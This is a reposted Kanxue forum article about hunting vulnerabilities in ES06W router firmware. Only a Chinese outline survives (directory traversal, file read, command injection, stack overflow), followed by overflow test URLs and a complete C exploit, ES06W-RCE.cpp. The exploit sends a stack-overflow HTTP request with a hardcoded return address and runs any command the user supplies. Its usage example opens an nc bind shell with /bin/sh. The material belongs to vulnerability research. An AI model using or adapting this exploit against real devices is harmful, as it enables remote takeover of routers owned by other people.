本文为看雪论坛精华文章
看雪论坛作者ID:okCryingFish
software_version = V4565R03C01S61
hardware_version = M2V1
product_model = ES06W
upgrade_version = V4565R03C01S61
一
目录遍历漏洞
二
任意文件读取漏洞
三
寻找命令注入漏洞
四
尝试找栈溢出漏洞
五
栈溢出漏洞利用
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdcecfcgchcicjckclcmcncocpcqcrcsctcucvcwcxcycz
http://192.168.0.1:8080/aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHaIaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbibjbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTbUbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccdc123DDDD
// ES06W-RCE.cpp :
//
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")
void ShowHelp()
{
printf("[+]Usage: ES06W-RCE.exe [Command]\n");
printf("[+]Example: ES06W-RCE.exe \"nc${IFS}-lp${IFS}4444${IFS}-e${IFS}/bin/sh\"\n");
}
int main(int argc, char** argv)
{
WSADATA stcData = {};
int int_ret = 0;
char str_recv[0x1000] = {};
char str_payload_final[0x1000] = {};
//
if (argc != 2) {
ShowHelp();
return 0;
}
//
int_ret = WSAStartup(MAKEWORD(2, 2), &stcData);
if (int_ret == SOCKET_ERROR) {
printf("[-]Init Failed!\n");
return 0;
}
//
char str_payload[] = {
"GET /aaabacadaeafagahaiajakalamanaoapaqarasatauavawaxayazaAaBaCaDaEaFaGaHa"
"IaJaKaLaMaNaOaPaQaRaSaTaUaVaWaXaYaZa0a1a2a3a4a5a6a7a8a9babbbcbdbebfbgbhbib"
"jbkblbmbnbobpbqbrbsbtbubvbwbxbybzbAbBbCbDbEbFbGbHbIbJbKbLbMbNbObPbQbRbSbTb"
"UbVbWbXbYbZb0b1b2b3b4b5b6b7b8b9cacbcccd"
"\xBC\x5F\xCB\x48" //Control R7
"\x94\x02\xD5\x48" //Return Addr
"%s" //Command
" HTTP/1.1\r\n"
"Host: 192.168.0.1:8080\r\n"
"Connection: keep-alive\r\n"
"Upgrade-Insecure-Requests: 1\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: zh-CN,zh;q=0.9\r\n\r\n\0"
};
sprintf_s(str_payload_final, 0x1000, str_payload, argv[1]);
//
SOCKET sock_client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sock_addr;
sock_addr.sin_family = AF_INET;
sock_addr.sin_port = htons(8080);
sock_addr.sin_addr.S_un.S_addr = inet_addr("192.168.0.1");
//
int nErrCode = 0;
int_ret = connect(sock_client, (sockaddr*)&sock_addr, sizeof(sockaddr_in));
//
send(sock_client, str_payload_final, strlen(str_payload_final), 0);
//
Sleep(20);
recv(sock_client, str_recv, sizeof(str_recv), 0);
printf("[-]Recv: %s\n", str_recv);
printf("[+]Finished!\n");
closesocket(sock_client);
WSACleanup();
//
return 0;
}
看雪ID:okCryingFish
https://bbs.pediy.com/user-home-780653.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!